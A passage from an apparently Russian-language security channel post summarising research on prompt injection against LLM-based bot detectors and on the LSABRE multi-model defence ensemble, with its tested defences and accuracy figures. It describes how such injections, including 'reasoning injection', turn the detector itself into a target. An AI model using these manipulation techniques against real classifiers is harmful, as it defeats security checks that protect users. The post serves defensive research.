Таким образом, система безопасности сама становится объектом атаки.
🔥 Один LLM против другой
Авторы проверили несколько защитных подходов: delimiters, self examination, in context learning, feature guidance и проверки known answer.
Универсального решения не нашлось. Например, для Llama feature guidance помогал против reasoning injection, а known answer оказался особенно эффективен против некоторых других вариантов атак. Поэтому исследователи собрали LSABRE, ансамбль из нескольких LLM.
Он работает в три этапа:
Detection → Prevention → Classification
Сначала несколько моделей ищут признаки манипуляции. Подозрительный контент получает дополнительную защиту. После этого основная модель выполняет классификацию.
В эксперименте LSABRE достиг 86,2% accuracy при атаке и сохранил FPR около 13%.
🔗 Исследование: https://arxiv.org/abs/2608.15893
🔗 GitHub LSABRE: https://github.com/runi-cyber-ai/LSABRE
Stay secure and read SecureTechTalks 📚
#кибербезопасность #AI #LLM #AgenticAI #BotDetection #PromptInjection #AISecurity #RedTeaming #CyberSecurity #SecureTechTalks
❤1👍1